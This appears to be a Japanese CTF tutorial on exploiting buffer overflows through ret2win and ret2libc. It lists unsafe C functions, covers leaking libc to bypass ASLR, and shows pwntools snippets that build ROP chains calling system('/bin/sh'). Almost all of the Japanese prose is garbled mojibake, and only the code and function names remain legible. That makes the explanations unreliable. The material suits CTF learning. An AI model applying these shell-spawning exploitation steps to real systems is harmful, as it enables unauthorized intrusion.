BOFï¼ãããã¡ãªã¼ãããã¼ï¼ã®è§£ãæ¹ãret2winç·¨
- æåã確èªãã
- fileã³ãã³ããchecksecã³ãã³ããå®è¡ãã
- ã½ã¼ã¹ã³ã¼ãã確èªãã(ããã°)
- BOFã®åå ã¨ãªãé¢æ°ã使ããã¦ãããã確èªãã
é¢æ° | 説æ | æ»æã®å¯å¦ |
---|---|---|
scanf("%s", buf) |
å ¥åæã«å¢çãã§ãã¯ãè¡ããªã | å¯ |
gets(buf) |
å ¥åæã«å¢çãã§ãã¯ãè¡ããªã | å¯ |
strcpy(buf1, buf2) |
ã³ãã¼æã«å¢çãã§ãã¯ãè¡ããªã | å¯ |
strcat(buf1, buf2) |
é£çµæã«å¢çãã§ãã¯ãè¡ããªã | å¯ |
sprintf(buf, format â¦) |
æ¸å¼é©ç¨å¾ãå¢çãã§ãã¯ããã«å ¥åããNULL ãã¤ããç½®ã | å¯ |
fgets(buf, 40, stdin) |
å¢çãã§ã㯠(40ãã¤ã) ãè¡ã£ã¦å ¥åãã | ä¸å¯ |
- 使ããã¦ããå ´æã確èªãã(mainé¢æ°å ?mainé¢æ°ããå¼ã°ãã¦ãé¢æ°å ?)
- flagãåºåãããé¢æ°ã®ã¢ãã¬ã¹ã確èªãã(flagã®é¢æ°ããªãå ´året2libcãã)
- retrunã¢ãã¬ã¹ã¾ã§ã®offsetã確èªãã(pedaãªãproc 200ãpwntoolsãªãcyclic)
- pwntoolsã§solverãæ¸ã
- offset+flagé¢æ°ã®ã¢ãã¬ã¹ãå ¥åã«è¨å®
ä¾é¡) pico CTF buffer over flow 1
nextâ
BOFï¼ãããã¡ãªã¼ãããã¼ï¼ã®è§£ãæ¹ãret2libcç·¨
- BOFã®èå¼±æ§ããã
- winé¢æ°ãshellãå®è¡ãã¦ãããé¢æ°ããªã
- shellãèµ·åããããã®ãã®ãæ¢ã
- ASLRæ©æ§(ã¢ãã¬ã¹ç©ºéé ç½®ã®ã©ã³ãã å)ãç¡å¹
- systemé¢æ°ãæ¢ã
p system
- /bin/shã®ã¢ãã¬ã¹ãæ¢ãã
strings -tx libc | grep /bin/sh
-
pwntoolsã§solverãæ¸ã
payload = offset+pop rdi ret+(/bin/shã®ã¢ãã¬ã¹+libcã®ã¢ãã¬ã¹)+system()ã®ã¢ãã¬ã¹
Onegadgetãæ¢ã
- æ¡ä»¶ããããå¿ è¦ãã
- æ¡ä»¶ããããããã®ROPã¬ã¸ã§ãããè¦ã¤ãã
- ROP
ASLRã®åé¿
ASLRæ©æ§ã¨ã¯ãã¢ãã¬ã¹ã®é ç½®ãã©ã³ãã ã«ããã»ãã¥ãªãã£æ©æ§
- libcã®ã¢ãã¬ã¹ãwiné¢æ°ã®ã¢ãã¬ã¹ãã©ãã«ãããããããªã
libcå ã®printfé¢æ°
libcå ã®puté¢æ°
libcã®printfé¢æ°ã¨puté¢æ°ã®ã¢ãã¬ã¹å·®ã¯å¸¸ã«åã
libcã®ã¢ãã¬ã¹ããããã°ãã©ã®é¢æ°ã§ãå®è¡å¯è½
libcã®ã¢ãã¬ã¹ããªã¼ã¯ããã°ããï¼ï¼
ROPãå¿ è¦ä¸å¯æ¬
pwntoolsã§solverãæ¸ã
- åé¡ã«æ¥ç¶ãã
io = remote('127.0.0.1', 8080) io = process('./vuln') elf= ELF('./vuln')
åé¡ã«ç´æ¥æ»æããéã«ã¯remote , ãã¦ã³ãã¼ããããã¡ã¤ã«ã«æ»æããå ´åã¯process
- æåãåãåã
msg = io.recvuntil('> ') Please enter your string: ãªã©ã®å ¥åãä¿ãæåãåãåããæ¸å¼ã«åããã¦''ã®ä¸ãå¤æ´
- æ»æã³ã¼ã(payload)ãçµã
pack() æ°å¤ãbytesåã«å¤æãã 0xf7dc9cb0ãªã©ã®ã¢ãã¬ã¹ãb'\xb0\x9c\xdc\xf7'ã«å¤æãããããªãã¨PCåã¯ã¢ãã¬ã¹ãç解ãã¦ãããªã unpcack() bytesåãæ°å¤ã«å¤æãã symbol[] é¢æ°ã®ã¢ãã¬ã¹ãåå¾ãã elf.symbols['win']ã§winé¢æ°ã®ã¢ãã¬ã¹ãâ»packãå¿ è¦
- æ»æã³ã¼ããéã
io.sendline(payload) io.interactive()
- ROPãä½ã
elf = ELF('challenge-binary')
rop = ROP(elf)
- ç¾å¨ã®ROPãåºåãããROPã使ãã(ãã·ã³ãèªãã)ããã«ãã
print(rop.dump()) # 0x0000: 'AAAA' 'AAAAAAAA' # 0x0004: 'AAAA' # 0x0008: 0x41d870 write(1, 2, 3) # 0x000c: 'daaa' <return address> # 0x0010: 0x1 arg0 # 0x0014: 0x2 arg1 # 0x0018: 0x3 arg2 rop.chain() #AAAAAAAAp�A\x00daaa\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00
- ROPã«è¿½å ãã
rop.raw('AAAAAAAA') #payloadãçµãã§ãæã
- Gadgetãæ¢ã
rop.raw(rop.find_gadget(['pop rdi', 'ret'])) # pop rdi; ret
- libcä¸ã§ROPãæ§ç¯
libc = ELF('./libc.so.6') rop = ROP(libc) libc.address = 0xdeadbeef #libcã®ãã¼ã¹ã¢ãã¬ã¹ãè¨å® bin_sh = next(libc.search(b'/bin/sh')) #/bin/shã®ã¢ãã¬ã¹ãè¦ã¤ãã¦ããã rop.system(bin_sh) # rop.call(libc.system, [bin_sh]) rop.printf() #printfã®ã¢ãã¬ã¹ãåå¾ãã¦è¿½å ãã¦ããã rop.printf(binary.got.printf) #1. [pop rdi; ret] # å¼æ°ã¬ã¸ã¹ã¿rdiã«å¤ãè¨å®ããã¬ã¸ã§ãã #2. [binary.got.printf] # printfã®GOTã¨ã³ããªã¢ãã¬ã¹ï¼ç¬¬ä¸å¼æ°ï¼ #3. [printf@plt] # printfé¢æ°ãå¼ã³åºã